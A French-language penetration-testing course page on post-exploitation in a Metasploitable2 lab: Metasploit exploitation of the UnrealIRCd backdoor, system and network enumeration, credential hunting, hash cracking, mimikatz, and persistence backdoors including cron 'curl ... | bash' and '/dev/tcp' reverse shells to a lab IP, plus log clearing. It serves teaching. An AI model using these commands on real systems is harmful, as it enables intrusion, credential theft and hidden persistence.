← Accueil

PCTAMALOU

Semaine 19 : Le Pillage de la Cité – Énumération Avancée et Post-Exploitation

Par Platon-Y – pctamalou.fr & e-of-h.fr

🎯 Objectif de la semaine

Maîtriser les techniques d'énumération post-exploitation pour transformer un accès initial en contrôle complet. Apprendre à cartographier un système compromis, extraire des informations sensibles, récupérer des credentials, et préparer le mouvement latéral - comprendre comment un attaquant maximise sa présence une fois à l'intérieur.

Phase critique : L'exploitation vous donne une porte d'entrée. La post-exploitation vous donne les clés de toutes les portes intérieures. C'est la différence entre "je suis entré" et "je possède la place".

graph TD A["🎯 Accès initial obtenu
(shell/Meterpreter)"] --> B{"🔄 Post-Exploitation"} subgraph "📋 Phase d'énumération" C1["🏗️ Système
OS, version, architecture"] C2["👥 Utilisateurs
locaux, groupes, privilèges"] C3["🌐 Réseau
interfaces, routes, connexions"] C4["💾 Stockage
fichiers, bases de données"] end subgraph "🔑 Récupération de credentials" D1["🔓 Extraction hashes
(SAM, /etc/shadow)"] D2["🎫 Tickets Kerberos
(Windows)"] D3["🔐 Clés SSH/GPG
(Linux)"] D4["💳 Creds en clair
(mémoire, fichiers)"] end subgraph "📈 Élévation de privilèges" E1["⚡ Privesc local
vulnérabilités, configs"] E2["👑 Système/root
contrôle total"] end subgraph "🔍 Établissement de persistence" F1["🔗 Backdoors
services, tâches, crontabs"] F2["📁 Implants
fichiers cachés, rootkits"] end B --> C1 B --> C2 B --> C3 B --> C4 B --> D1 B --> D2 B --> D3 B --> D4 B --> E1 B --> E2 B --> F1 B --> F2 C1 --> G["🗺️ Carte complète
du système compromis"] C2 --> G C3 --> G C4 --> G D1 --> H["🔑 Credentials récupérés"] D2 --> H D3 --> H D4 --> H E1 --> I["📊 Contrôle étendu"] E2 --> I F1 --> J["⏳ Persistence établie"] F2 --> J G --> K["🚀 Préparation mouvement latéral
(Semaine 20)"] H --> K I --> K J --> K style A fill:#ef4444,stroke:#000,stroke-width:3px,color:#fff style K fill:#9d4edd,stroke:#fff,stroke-width:3px,color:#fff style H fill:#00f5a0,stroke:#000,stroke-width:2px,color:#000 style J fill:#fbbf24,stroke:#000,stroke-width:2px,color:#000 style B fill:#1e3a8a,stroke:#60a5fa,stroke-width:2px,color:#fff style G fill:#0f766e,stroke:#0d9488,stroke-width:2px,color:#fff

📚 Sujet – Théorie (1 heure)

Post-exploitation : L'art de maximiser l'accès

La post-exploitation n'est pas du "piratage supplémentaire". C'est une discipline systématique qui transforme une vulnérabilité ponctuelle en contrôle durable. Un professionnel suit une méthodologie rigoureuse, là où un script kiddie exécute des commandes au hasard.

🏗️ Énumération système

Objectif : Comprendre l'environnement

Commandes Linux : uname -a, cat /etc/*release, df -h

Commandes Windows : systeminfo, wmic os get *

Meterpreter : sysinfo, getenv

Valeur : Cibler les exploits, adapter les payloads

🌐 Énumération réseau

Objectif : Cartographier les connexions

Commandes Linux : ifconfig, netstat -tulpn, route -n

Commandes Windows : ipconfig /all, netstat -ano

Meterpreter : ipconfig, route, arp

Valeur : Préparer le pivot, identifier d'autres cibles

🔑 Récupération credentials

Objectif : Obtenir des identifiants réutilisables

Linux : /etc/shadow, ~/.ssh/, ~/.bash_history

Windows : SAM database, LSASS memory, Credential Manager

Outils : mimikatz (kiwi), hashdump, LaZagne

Valeur : Mouvement latéral, accès persistants

⏳ Établir la persistance

Objectif : Maintenir l'accès après redémarrage

Linux : crontab, services systemd, .bashrc, ssh keys

Windows : Registry run keys, services, scheduled tasks

Meterpreter : persistence module

Valeur : Accès durable, reprise d'opérations

La méthodologie de pillage systématique

🔄 Workflow professionnel de post-exploitation

1. Stabilisation de la session

Migration : Changer de processus pour plus de stabilité

Privilèges : Vérifier le niveau d'accès (user? admin? system?)

Détection : Vérifier les outils de sécurité présents (AV, EDR, HIDS)

Documentation : Noter l'heure, la méthode d'entrée, l'utilisateur

2. Énumération hiérarchisée

Prioritaire : Credentials, fichiers sensibles, bases de données

Secondaire : Configuration réseau, autres utilisateurs

Tertiaire : Inventaire logiciel, historique commandes

Méthode : Toujours du plus sensible au moins sensible

3. Élévation de privilèges

Analyse : Recherche de vulnérabilités locales (kernel, services)

Configuration : Mauvaise configuration des permissions

Credential reuse : Utiliser les hashs récupérés

Outils : LinPEAS/WinPEAS, Seatbelt, PowerUp

4. Préparation du mouvement latéral

Mapping : Identifier d'autres machines accessibles

Credential testing : Tester les identifiants récupérés

Outils : Pré-positionner des agents sur le réseau

Coverage : Éviter la détection lors des mouvements

⚠️ Éthique et légalité absolues

Dans un environnement réel (non-lab), chaque étape doit être :

  1. Autorisée : Dans le scope défini par le contrat
  2. Documentée : Chaque commande, chaque fichier consulté
  3. Minimale : Ne prendre que ce qui est nécessaire pour la preuve
  4. Sécurisée : Ne pas exposer les données récupérées
  5. Nettoyée : Retirer tous les outils, backdoors, fichiers

Comprendre les hashs et leur réutilisation

🔍 Anatomie des credentials systèmes

Linux (/etc/shadow) :
root:$6$salt$hash:18820:0:99999:7:::
├── $6 → algorithme (SHA-512)
├── salt → sel cryptographique
├── hash → hash du mot de passe + sel
└── Champs : nom:hash:last_change:min:max:warn:inactive:expire

Windows (SAM/NTLM) :
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
├── 500 → RID (Relative ID)
├── aad3b... → LM Hash (vide ici)
├── 31d6c... → NTLM Hash
└── Caractéristiques : Pas de sel, vulnérable à pass-the-hash

Réutilisation :
- Linux : crackage requis (John/ Hashcat)
- Windows : Pass-the-Hash possible directement
- SSH keys : Réutilisation immédiate si privée récupérée

🔬 Outils spécialisés de post-exploitation

  • LinPEAS/WinPEAS : Scripts d'énumération automatique
  • Mimikatz (Kiwi) : Extraction credentials Windows
  • LaZagne : Récupération credentials applications
  • Seatbelt : Énumération sécurité Windows
  • PowerSploit : Suite PowerShell pour post-exploitation

🔬 Mission pratique – Laboratoire (2 heures)

🏁 Environnement : Utilisez votre session Meterpreter sur Metasploitable2 (S17). Si vous avez aussi une VM Windows vulnérable, adaptez les commandes.

Étape 1 : Stabilisation et énumération initiale

# Si vous n'avez pas de session, obtenez-en une
msfconsole -q
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 192.168.56.102
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 4444
exploit

# Une fois dans Meterpreter :
# ===========================

# 1. Informations système
sysinfo
# Hostname: metasploitable
# OS: Linux 2.6.24-16-server
# Architecture: i686

getuid
# Server username: ircd

# 2. Migration pour stabilité
ps
# Liste les processus, notez un PID stable (ex: 1, init)
migrate 1
# Migration vers le processus init (toujours présent)

# 3. Shell interactif
shell
# Vous êtes maintenant dans un shell sur la cible
whoami
# ircd
id
# uid=105(ircd) gid=65534(nogroup) groups=65534(nogroup)

# Retour à Meterpreter
exit
# ou Ctrl+Z

Étape 2 : Énumération système approfondie

# Dans Meterpreter :

# 1. Système et version
cat /etc/issue
cat /etc/*release*
uname -a
# Linux metasploitable 2.6.24-16-server #1 SMP...

# 2. Utilisateurs et groupes
cat /etc/passwd
# Liste tous les utilisateurs
cat /etc/group
# Liste tous les groupes
cat /etc/sudoers 2>/dev/null
# Vérifie les permissions sudo

# 3. Processus et services
ps aux
# Tous les processus
ls /etc/init.d/
# Services système
systemctl list-units 2>/dev/null || service --status-all

# 4. Stockage
df -h
# Espace disque
mount
# Points de montage
lsblk 2>/dev/null || fdisk -l

# 5. Historique
cat ~/.bash_history
# Historique commandes de l'utilisateur courant
cat /root/.bash_history 2>/dev/null
# Historique root (si accessible)

Étape 3 : Énumération réseau

# 1. Interfaces réseau
ifconfig
ip addr show
# Adresses IP, interfaces

# 2. Connexions réseau
netstat -tulpn
# -t: TCP, -u: UDP, -l: listening, -p: PID/Program, -n: numeric
netstat -ano
# Toutes connexions, Windows style

# 3. Table de routage
route -n
ip route show
# Routes, gateway

# 4. DNS
cat /etc/resolv.conf
# Serveurs DNS
cat /etc/hosts
# Hosts locaux

# 5. Services réseau actifs
ss -tulpn 2>/dev/null || netstat -tulpn
# Services en écoute
lsof -i 2>/dev/null
# Fichiers ouverts sur réseau

# 6. Pare-feu
iptables -L -n -v 2>/dev/null
# Règles iptables
ufw status 2>/dev/null
# Uncomplicated Firewall

Étape 4 : Recherche de credentials et fichiers sensibles

# 1. Fichiers de mot de passe
ls -la /etc/shadow
# -rw-r----- 1 root shadow
# Si vous êtes root ou dans le groupe shadow :
cat /etc/shadow 2>/dev/null || echo "Accès refusé"

# 2. Clés SSH
ls -la ~/.ssh/
ls -la /root/.ssh/ 2>/dev/null
cat ~/.ssh/authorized_keys 2>/dev/null
cat ~/.ssh/id_rsa 2>/dev/null
cat ~/.ssh/id_rsa.pub 2>/dev/null

# 3. Fichiers de configuration avec mots de passe
grep -r "password\|passwd\|secret\|key" /etc/ 2>/dev/null | grep -v "binary"
find /home -name "*.kdbx" -o -name "*.p12" -o -name "*.pfx" 2>/dev/null
find / -name "*.sql" -o -name "*.db" -o -name "*.sqlite" 2>/dev/null | head -20

# 4. Fichiers temporaires avec données sensibles
find /tmp /var/tmp -type f -exec strings {} \; 2>/dev/null | grep -i "password\|token\|key" | head -20

# 5. Historique des bases de données
find / -name ".mysql_history" -o -name ".psql_history" 2>/dev/null
cat ~/.mysql_history 2>/dev/null | tail -20
cat ~/.psql_history 2>/dev/null | tail -20

Étape 5 : Élévation de privilèges (Privesc)

# 1. Vérification des privilèges sudo
sudo -l
# Quelles commandes peut-on exécuter en sudo?

# 2. Fichiers SUID/SGID (danger!)
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
# Exemples: /bin/bash (SUID), /usr/bin/passwd (SUID)

# 3. Capabilities Linux
getcap -r / 2>/dev/null
# Fichiers avec capabilities spéciales

# 4. Crons (tâches planifiées)
ls -la /etc/cron*
cat /etc/crontab
ls -la /var/spool/cron/
crontab -l 2>/dev/null

# 5. Scripts exécutables par tous
find / -writable -type f 2>/dev/null | head -20
find / -perm -o+w -type f 2>/dev/null | head -20

# 6. Vérification kernel (vulnérabilités connues)
uname -a
# Recherchez sur Exploit-DB: Linux 2.6.24 vulnerabilities
# Exemple: dirtycow, overlayfs, etc.

Étape 6 : Utilisation d'outils automatisés (si temps)

# Téléchargement et exécution de LinPEAS
# Depuis Meterpreter:
upload /usr/share/peass/linpeas.sh /tmp/linpeas.sh
# Ou depuis le shell:
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh > linpeas_report.txt

# Analyse du rapport
cat linpeas_report.txt | grep -A5 -B5 "CVE\|VULNERABLE\|SUID\|interesting"

# Alternative: Linux Exploit Suggester
cd /tmp
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

Étape 7 : Extraction et analyse des hashs

# Si vous avez obtenu root (via privesc) ou accès au shadow:

# 1. Copie du fichier shadow
cp /etc/shadow /tmp/shadow.copy
cp /etc/passwd /tmp/passwd.copy

# 2. Préparation pour John the Ripper
unshadow /tmp/passwd.copy /tmp/shadow.copy > /tmp/hashes.txt

# 3. Analyse des hashs
cat /tmp/hashes.txt
# Exemple: root:$6$salt$hash...
# $6 = SHA-512, $1 = MD5, $5 = SHA-256

# 4. Vérification des hashs faibles (à partir de Kali)
# Sur votre machine Kali:
cd /tmp
scp ircd@192.168.56.102:/tmp/hashes.txt .
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --show hashes.txt

# 5. Pour Windows (si VM Windows disponible):
# Dans Meterpreter Windows:
hashdump
# Ou avec mimikatz:
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonpasswords

Étape 8 : Persistance basique

# ATTENTION: Uniquement dans votre lab!

# 1. Création d'un backdoor SSH
# Générer une clé SSH sur Kali
ssh-keygen -t rsa -b 4096 -f /tmp/backdoor_key
cat /tmp/backdoor_key.pub

# Sur la cible, si accès à ~/.ssh/
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys

# 2. Crontab pour callback régulier
echo "* * * * * curl http://192.168.56.101/shell.sh | bash" >> /tmp/cron_job
crontab /tmp/cron_job 2>/dev/null

# 3. Service systemd (Linux moderne)
cat > /tmp/backdoor.service << EOF
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/192.168.56.101/4444 0>&1"
Restart=always

[Install]
WantedBy=multi-user.target
EOF

# 4. Fichier .bashrc (pour tous les shells)
echo "bash -i >& /dev/tcp/192.168.56.101/4444 0>&1 &" >> ~/.bashrc

Étape 9 : Documentation professionnelle

# Création d'un rapport de post-exploitation
cat > post_exploitation_report.md << 'EOF'
# Rapport de Post-Exploitation - PCTAMALOU S19
## Date: $(date)
## Cible: Metasploitable2 (192.168.56.102)
## Méthode d'accès initial: UnrealIRCd Backdoor (CVE-2010-2075)

## 1. Résumé exécutif
- Accès obtenu via utilisateur: ircd
- Niveau de privilèges: Utilisateur standard (non-root)
- Système: Linux 2.6.24-16-server (i686)
- Temps d'accès total: [X] minutes

## 2. Énumération système

### 2.1 Informations système
- Hostname: metasploitable
- Kernel: 2.6.24-16-server
- Architecture: i686
- Uptime: $(uptime 2>/dev/null)

### 2.2 Utilisateurs identifiés
$(cat /etc/passwd 2>/dev/null | wc -l) utilisateurs système
Utilisateurs notables: root, daemon, bin, sys, sync, games, man, lp, mail, news, uucp, proxy, www-data, backup, list, irc, gnats, nobody, libuuid, syslog, messagebus, usbmux, dnsmasq, avahi-autoipd, kernoops, rtkit, saned, whoopsie, speech-dispatcher, avahi, lightdm, hplip, pulse, gdm, msfadmin, postgres, service, user, tomcat55, proftpd, dhcp, mysql, sshd

### 2.3 Services en écoute
$(netstat -tulpn 2>/dev/null | grep LISTEN | wc -l) services en écoute
Ports notables:
- 21: FTP (vsftpd 2.3.4)
- 22: SSH (OpenSSH 4.7p1)
- 23: Telnet
- 25: SMTP
- 53: DNS
- 80: HTTP (Apache 2.2.8)
- 111: RPC
- 139/445: Samba
- 512/513/514: r-services
- 1099: Java RMI
- 1524: Bind shell
- 2049: NFS
- 2121: FTP (ProFTPD 1.3.1)
- 3306: MySQL
- 5432: PostgreSQL
- 5900: VNC
- 6000: X11
- 6667: UnrealIRCd
- 8009: AJP
- 8180: HTTP (Apache Tomcat)

## 3. Credentials récupérés

### 3.1 Hashs disponibles
Accès à /etc/shadow: $( [ -r /etc/shadow ] && echo "OUI" || echo "NON" )
Hashs extraits: $(cat /etc/shadow 2>/dev/null | wc -l) lignes

### 3.2 Clés SSH trouvées
- ~/.ssh/authorized_keys: $( [ -f ~/.ssh/authorized_keys ] && echo "OUI" || echo "NON" )
- ~/.ssh/id_rsa: $( [ -f ~/.ssh/id_rsa ] && echo "OUI" || echo "NON" )

## 4. Élévation de privilèges possible

### 4.1 Fichiers SUID/SGID
$(find / -perm -4000 -type f 2>/dev/null | wc -l) fichiers SUID
$(find / -perm -2000 -type f 2>/dev/null | wc -l) fichiers SGID

### 4.2 Vulnérabilités kernel potentielles
Kernel 2.6.24 - Recherche CVE:
- CVE-2009-1185 (udev)
- CVE-2009-2692 (SCTP)
- CVE-2010-4258 (full-nelson)

## 5. Persistance établie
- [ ] Clé SSH ajoutée
- [ ] Crontab modifié
- [ ] Service système ajouté
- [ ] .bashrc modifié

## 6. Recommendations défensives
1. Mettre à jour tous les services obsolètes
2. Supprimer les services inutiles
3. Renforcer les configurations par défaut
4. Mettre en place une journalisation centralisée
5. Isoler cette machine du réseau de production

## 7. Annexes
- Commandes exécutées: Voir journal d'activité
- Fichiers modifiés: [liste]
- Données extraites: Stockées dans [dossier sécurisé]
EOF

echo "Rapport généré: post_exploitation_report.md"
# Téléchargement vers Kali
download post_exploitation_report.md /tmp/post_exploitation_report.md

Étape 10 : Nettoyage (éthique)

# IMPORTANT: Dans un vrai pentest, vous nettoyeriez tout.
# Dans le lab, pratiquez le nettoyage:

# 1. Suppression des fichiers temporaires
rm -f /tmp/linpeas.sh /tmp/linpeas_report.txt
rm -f /tmp/shadow.copy /tmp/passwd.copy /tmp/hashes.txt

# 2. Suppression des backdoors
# Si vous avez ajouté une clé SSH:
sed -i '/backdoor_key/d' ~/.ssh/authorized_keys 2>/dev/null
# Si vous avez modifié .bashrc:
sed -i '/dev\/tcp\/192.168.56.101/d' ~/.bashrc 2>/dev/null

# 3. Suppression des crons
crontab -l | grep -v "192.168.56.101" | crontab - 2>/dev/null

# 4. Logs (attention, très visible)
# En général, on ne touche pas aux logs dans un pentest
# Mais pour l'exercice:
echo "" > ~/.bash_history
history -c

# 5. Fermeture propre
# Dans Meterpreter:
clearev
# Efface les logs de la session Meterpreter
exit
# Ferme la session

🎯 Défi professionnel : Maître du pillage

Sur Metasploitable2, réalisez un audit complet de post-exploitation :

  1. Obtenez un shell root (via privesc si nécessaire)
  2. Conduisez une énumération complète en 5 catégories :
    • Système et configuration
    • Réseau et connectivité
    • Utilisateurs et credentials
    • Applications et services
    • Données sensibles
  3. Extrayez tous les hashs et tentez de les cracker
  4. Établissez 3 méthodes de persistance différentes
  5. Créez un rapport professionnel avec recommandations de sécurisation
  6. Implémentez un script d'automatisation de l'énumération

Livrable : Rapport complet + scripts d'automatisation + documentation des méthodes.

📋 Objectif de la semaine – Validation des compétences

✅ Compétences techniques acquises

  • Énumération système complète (OS, users, processes)
  • Cartographie réseau depuis l'intérieur
  • Extraction et analyse de credentials (hashs, keys)
  • Techniques basiques d'élévation de privilèges
  • Méthodes de persistance simples et leur détection

🧠 Mindset développé

  • Compréhension de la différence entre exploitation et post-exploitation
  • Approche méthodique : énumération hiérarchisée du plus au moins sensible
  • Conscience des traces laissées et importance du nettoyage (dans le lab)
  • Vision défensive : comprendre l'attaque pour mieux défendre

🔮 Préparation pour la semaine 20 :

Vous avez maintenant cartographié une machine compromise. La semaine prochaine, nous allons nous déplacer vers d'autres machines du réseau. Assurez-vous d'avoir :

  • Des credentials récupérés et documentés
  • Une carte complète du réseau interne de Metasploitable2
  • Compris le concept de "pivot" entre machines
  • Votre lab avec au moins 2 machines compromises (Kali + Metasploitable2)

📚 Ressources avancées

Pour devenir expert en post-exploitation :

⚠️ Précautions extrêmes en environnement réel

  • Scope : Ne jamais dépasser le scope défini dans l'autorisation
  • Données : Ne jamais extraire de données personnelles/production
  • Modification : Documenter toute modification du système
  • Temps : Respecter les plages horaires autorisées
  • Communication : Signaler immédiatement tout impact non prévu

🏛️ Frère d'armes,

Cette semaine, vous êtes devenu un archéologue du système compromis. Un cartographe des failles internes. Un extracteur de secrets enfouis.

La post-exploitation n'est pas du vandalisme. C'est de l'archéologie systématique. Vous fouillez couche par couche :

  • La couche surface : système, version, architecture
  • La couche sociale : utilisateurs, groupes, permissions
  • La couche réseau : connexions, routes, services
  • La couche trésor : credentials, clés, données sensibles
  • La couche fondation : vulnérabilités locales, configurations faibles

Vous avez vu comment un simple shell utilisateur peut révéler toute la structure d'une machine. Comment un fichier shadow peut contenir les clés du royaume. Comment un cron job mal configuré peut devenir une porte dérobée permanente.

Cette connaissance est double :

  1. En attaque : Maximiser chaque accès obtenu
  2. En défense : Comprendre ce que les attaquants cherchent pour mieux le protéger

La semaine 19 marque votre passage de "j'ai un shell" à "je comprends ce système mieux que son administrateur". Parce qu'un attaquant regarde ce que les défenseurs oublient de regarder.

Mais souvenez-vous la leçon de Platon dans La République : le Gardien qui utilise son pouvoir pour son profit personnel devient un tyran. Le Gardien qui comprend les faiblesses pour mieux les protéger reste un Gardien.

Vous avez maintenant cartographié une cité compromise. Vous connaissez ses murs fissurés, ses portes mal fermées, ses trésors mal gardés.

La semaine prochaine, nous regarderons au-delà des murs. Vers les autres cités du réseau. Parce qu'une brèche dans une porte en ouvre souvent d'autres.

Rangez vos cartes. Sécurisez vos trésors récupérés. Documentez vos découvertes.

Le mouvement latéral commence bientôt.

— Platon-Y